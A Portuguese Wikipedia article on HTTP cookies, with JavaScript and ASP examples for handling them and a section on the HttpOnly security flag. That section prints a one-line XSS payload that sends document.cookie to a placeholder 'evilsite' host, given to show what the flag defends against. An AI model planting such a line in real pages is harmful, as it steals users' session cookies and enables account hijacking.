Cookie

Origem: Wikipédia, a enciclopédia livre.
(Redirecionado de Cookies)
Ir para: navegação, pesquisa
Mergefrom 2.svg
O artigo ou secção Parâmetros de segurança do cookie deverá ser fundido aqui. (desde dezembro de 2013)
Se discorda, discuta sobre esta fusão aqui.
Wikitext.svg
Este artigo ou seção precisa ser wikificado (desde dezembro de 2013).
Por favor ajude a formatar este artigo de acordo com as diretrizes estabelecidas no livro de estilo.
Question book.svg
Esta página ou secção não cita nenhuma fonte ou referência, o que compromete sua credibilidade (desde Dezembro de 2008).
Por favor, melhore este artigo providenciando fontes fiáveis e independentes, inserindo-as no corpo do texto por meio de notas de rodapé. Encontre fontes: Googlenotícias, livros, acadêmicoScirusBing. Veja como referenciar e citar as fontes.

Cookie (termo da língua inglesa que significa, literalmente, "biscoito". Lê-se "cuque"), testemunho de conexão, ou, simplesmente, testemunho, é um grupo de dados trocados entre o navegador e o servidor de páginas e colocado num arquivo (ficheiro) de texto criado no computador do utilizador. A sua função principal é a de manter a persistência de sessões HTTP. A utilização e implementação de cookies foi um adendo ao HTTP e muito debatida na altura em que surgiu o conceito, introduzido pela Netscape, devido às consequências de guardar informações confidenciais num computador - já que, por vezes, isso pode não ser devidamente seguro, como no caso de uso costumeiro em terminais públicos.

Um exemplo é aquele cookie que um site cria para que você não precise digitar sua senha novamente quando for ao site outra vez. Outros sites podem utilizá-los para guardar as preferências do usuário: por exemplo, quando o sítio lhe permite escolher uma cor de fundo para suas páginas.

Funcionamento:

  • Quando o servidor deseja activar um cookie no cliente, envia uma linha no cabeçalho HTTP iniciada por Set-Cookie: ...
  • A partir desse momento, consoante as opções especificadas pelo cookie, o cliente irá enviar no seu cabeçalho HTTP dos pedidos uma linha contendo os cookies relevantes, iniciada por Cookie: ....

Entre os parâmetros dos cookies estão: o tempo de vida (a data para o cookie "expirar a validade") e o domínio, ou grupo de páginas a que o cookie se aplica. Por exemplo, é possível fazer com que um cookie seja aplicado apenas a endereços iniciados por http://pt.wikipedia.org/wiki/ de maneira que esse mesmo cookie já não se aplique para http://pt.wikipedia.org/skins/, por exemplo.

Se não especificada a data de validade para o cookie, ele irá expirar assim que o usuário fechar o navegador.

Em JavaScript (embutido no HTML da página acessada), podemos criar um script para manipulá-los. Utilizamos "document.cookie" (sem aspas). Exemplo:

function setCookie(name, value, expires, path, domain, secure) {
        var curCookie = name + "=" + escape(value) +
        ((expires) ? "; expires=" + expires.toGMTString() : "") +
        ((path) ? "; path=" + path : "") +
        ((domain) ? "; domain=" + domain : "") +
        ((secure) ? "; secure" : "");
        document.cookie = curCookie;
}
 
function getCookie(name) {
       var dc = document.cookie;
       var prefix = name + "=";
       var begin = dc.indexOf("; " + prefix);
       if (begin == -1) {
              begin = dc.indexOf(prefix);
              if (begin != 0) return null;
       } else
       begin += 2;
       var end = document.cookie.indexOf(";", begin);
       if (end == -1)
       end = dc.length;
       return unescape(dc.substring(begin + prefix.length, end));
}
 
function deleteCookie(name, path, domain) {
       if (getCookie(name)) {
              document.cookie = name + "=" + 
              ((path) ? "; path=" + path : "") +
              ((domain) ? "; domain=" + domain : "") +
              "; expires=Thu, 01-Jan-70 00:00:01 GMT";
              history.go(0);
       }
}

As funções do script acima:

  • setCookie - Define o valor de um cookie
  • getCookie - Retorna o valor de um cookie
  • deleteCookie - Exclui um cookie. Para excluir um cookie, devemos alterar sua data de expiração para uma data inferior a atual (esta função faz exatamente isso).

Em ASP, podemos utilizar cookies por meio dos objetos Response e Request. Exemplo:

  • Para gravar o cookie Response.Cookies("nomedocookie")
  • Para definir a validade do cookie Response.Cookies("momedocookie").Expires = DateAdd("d", 365, Now())
  • Utilize o DateAdd para adicionar uma data. No exemplo acima, adicionamos 365 dias, o que equivale a um ano.
  • Para definir o domínio Response.Cookies("nomedocookie").Domain = "pt.wikipedia.org"
  • Para definir o grupo de páginas que o cookie se aplica Response.Cookies("nomedocookie").Path = "/wiki"
  • Se definido como "/", todo o sítio poderá acessar o cookie.
  • Se quiser, há como adicionar vários valores ao cookie response.Cookie("nomedocookie")("nomedovalor") = "valor"
  • Para ler o cookie , utilize o objeto Request. Exemplo: variavel = Request.Cookies("nomedocookie")
  • E para ler valores variavel = Request.Cookies("nomedocookie")("nomedovalor")

Em PHP, os cookies são tratados por meio da função setcookie(). Esta deverá vir antes de qualquer dado ser enviado ao navegador, devido ao fato de os cookies fazerem parte do cabeçalho HTTP.


Segurança nos cookies[editar | editar código-fonte]

Flag HTTPOnly[editar | editar código-fonte]

Desenvolvido pela Microsoft para o navegador Internet Explorer 6 SP1 para melhorar a segurança, a flag mitiga as ações de atacantes quando estes tentam realizar sequestro de sessão através de cross-site scripting.

Cookies com a flag HTTPOnly não podem ser acessados diretamente por scripts no lado do cliente, como por exemplo JavaScript. Isso significa que, mesmo havendo uma vulnerabilidade que permite o cross-site scripting e o usuário seja incentivado a clicar em um link que explore essa falha, o navegador não enviará ou disponibilizará o cookie marcado com a flag HTTPOnly. Porém a flag é somente uma das técnicas para mitigar o risco de cross site scripting: se usada sozinha, não poderá eliminar a ameaça por completo. O navegador precisa ter suporte a flag.

Exemplo de resposta http com a flag httponly:[1]

Set-Cookie: MyCookieName=The value of my cookie; path=/; HttpOnly


O script abaixo é um exemplo de script malicioso. Caso seja carregado no contexto da aplicação vulnerável a XSS, os cookies do browser serão enviados para o servidor malicioso:[2]

location.href = 'http://evilsite/?cookies=' + document.cookie;

Se um navegador detecta um cookie com uma flag HTTPOnly e um script tenta ler o cookie (através do document.cookie), como no exemplo acima, o navegador retorna uma string vazia como resultado, prevenindo que um código malicioso envie dados para um website. As informações sensíveis contidas nos cookies, incluindo informações de autenticação, poderão ser coletadas pelo website e utilizadas para sequestro de sessão. Caso o navegador não suporte a flag, a mesma será ignorada e o cookie criado será acessível via script, o qual poderá ser modificado ou roubado por um script malicioso.

A seguir, uma lista de navegadores com suporte a flag:[3]

  • Chrome 24
  • Firefox 18
  • IE 8
  • IE 9
  • IE 10
  • Opera 12.11
  • Safari 6.0.2
  • Chrome 25
  • Chrome 26
  • Firefox 19
  • Firefox 20
  • Firefox 21
  • Opera 12.12
  • Safari 6.0.3
  • Android 4
  • Blackberry 7
  • Chrome Mobile 18
  • IEMobile 9
  • iPhone 5
  • iPhone 6
  • Opera Mobile 12

A versão 2.3 do Android não possui suporte.

Referências

Ligações externas[editar | editar código-fonte]

Ícone de esboço Este artigo sobre redes de computadores é um esboço. Você pode ajudar a Wikipédia expandindo-o.